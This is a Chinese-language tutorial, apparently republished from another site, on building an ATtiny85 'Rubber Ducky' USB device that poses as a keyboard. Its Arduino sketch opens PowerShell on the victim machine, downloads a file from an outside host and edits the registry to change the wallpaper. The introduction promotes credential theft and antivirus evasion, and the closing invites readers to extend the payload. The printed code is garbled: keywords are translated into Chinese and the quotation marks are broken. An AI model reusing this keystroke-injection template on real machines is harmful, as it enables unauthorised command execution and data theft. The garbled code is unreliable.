USB Rubber Ducky 或 Bad USB 是一种著名的攻击工具,它看起来像 USB 笔式驱动器,但在插入任何未锁定的设备时就像键盘一样。USB Rubber Ducky允许攻击者对 USB 设备中的微控制器进行编程以执行各种任务。它可以通过编程将击键和二进制文件注入系统,获取缓存的密码以破解系统,窃取受害者的基本和凭证数据,并可以将橡皮鸭有效载荷注入受害者的系统。USB Rubber Ducky 最重要的特点是它无法被任何防病毒或系统防火墙检测到,因为它充当 HID 设备。
USB Rubber Ducky 并非在每个国家都容易买到,而且价格也非常昂贵。所以在这个项目中,我们将使用 ATTIny85 微控制器 IC构建一个Digispark Rubber Ducky 。该项目由两部分组成,第一部分是在 ATTIny85 IC 上上传引导加载程序,第二部分是将 USB 型公连接器与 ATTIny85 连接。
构建 USB Rubber Ducky 所需的组件
阁楼85 IC
USB A型插头公
3 个电阻器(2×47Ω 和 1×1 KΩ)
3个二极管(2×齐纳二极管和1×IN5819二极管)
8 针 IC 底座
性能板
连接电线
USB橡皮鸭电路图
ATTIny85 Rubber Ducky USB的原理图如下所示。
R3 是一个上拉电阻,连接在 IC 的 Vcc 和 PB3 引脚之间,同时添加了齐纳二极管 (D1-D2) 以提供全面的 USB 接口保护。这些保护二极管不是必需的,因此如果您想构建比这更紧凑的电路,可以将它们移除。
注意:需要在 ATtiny85 上上传引导加载程序才能使用 USB 对其进行编程。因此,请按照我们之前关于如何通过 USB 对 ATtiny85 IC 进行编程的教程进行 *** 作。
在 perf 板上焊接所有组件后,它将如下所示:
ATtiny85 USB 3D 打印外壳
接下来,使用游标测量设置的尺寸以设计外壳。完成后,我的设计看起来像这样:
对设计满意后,我将其导出为 STL 文件,根据打印机设置对其进行切片,最后打印出来。STL 文件也可以从 Thingiverse 下载,您可以使用它打印自己的外壳。
打印完成后,我继续将项目组装在一个永久性的外壳中以备将来使用。完成连接后,我将电路组装到我的外壳中,如下所示,一切都非常合适。
安装 Digispark 驱动程序
要使用 USB 对 ATtiny85 进行编程,您必须在笔记本电脑上安装 Digispark 驱动程序。如果您没有它们,您可以通过单击链接 Digispark Drivers下载它。然后,解压缩 zip 文件并双击“ DPinst64.exe ”应用程序以安装驱动程序。
成功安装驱动程序后,将 ATtiny85 板插入笔记本电脑。现在,转到设备管理器,您的设备将在“libusb-win32 设备”下列为“Digispark Boot-loader”。如果您在设备管理器中找不到“libusb-win32 设备”,请转到“查看”并单击“显示隐藏的设备”。
设置 Arduino IDE
要使用 Arduino IDE 对 ATtiny85 板进行编程,首先,我们需要将 Digispark 板支持添加到 Arduino IDE。为此,请转到文件 》 首选项并在 Additional Boards Manager URL 中添加以下链接,然后单击“确定”。
http://digistump.com/package_digistump_index.json
之后,转到工具 》 板 》 板管理器并搜索“Digistump AVR”并安装最新版本。
安装后,您将能够在 Board 菜单中看到一个名为‘Digispark’的新条目。
为 Rubber Ducky USB 编程 ATtiny85
安装驱动程序并设置 Arduino IDE 后,现在我们将对 ATtiny85 进行编程以下载图像并通过 Windows PowerShell 将其设置为墙纸。完整的脚本在文档末尾给出;在这里,我们将解释脚本的一些重要命令。
因此,通过包含“ DigiKeyboard.h ”库来启动代码。DigiKeyboard 库使 ATtiny85 能够通过其 micro 的本机 USB 端口将击键发送到连接的计算机。
#include "DigiKeyboard.h"
然后在循环功能中,发送一个按键以显示桌面(Windows+ D),一段时间后,通过发送一个 Windows+ R 按键打开运行对话框。
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
然后使用DigiKeyboard.print() 函数转到 Windows Powershell。
DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
现在在 Powershell 中,使用System.Net.WebClient类下载 Internet 数据。
DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
然后在下一个命令中,输入带有文件名(hacker.jpg)的图像地址,以将其保存在您的笔记本电脑上。
DigiKeyboard.print("$client.DownloadFile("https://cdn.hipwallpaper.com/i/50/39/7r5nC6.jpg" , "hacker.jpg")"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
然后在接下来的几行中,打开控制面板并将下载的图像设置为墙纸。
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacker.jpg" /f"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
测试 ATtiny85 Rubber Ducky
完成这些步骤后,创建一个新草图并在 IDE 中复制和粘贴给定的代码。然后选择“ Digispark (Default – 16mhz) ”作为板卡类型并点击左上角的上传按钮。草图将被编译,然后 Arduino IDE 将提示您在 60 秒内插入 ATtiny85 USB。
插入 ATtiny85 USB 后,Arduino IDE 会将代码上传到微控制器,然后执行微控制器给出的命令来更改笔记本电脑的壁纸。这只是 USB Rubber Ducky 工作原理的一个示例,但可以通过它完成很多事情。我会让你的想象力解决这个问题!
#include "DigiKeyboard.h"
无效设置(){
//空的
}
无效循环(){
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client.DownloadFile("https://images.alphacoders.com/156/156893.jpg" , "hacked3.jpg")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("reg add "HKCU\\Control Panel\\Desktop" /v WallPaper /d "%USERPROFILE%\\hacked3.jpg" /f");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("退出");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*空*/ }
}
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)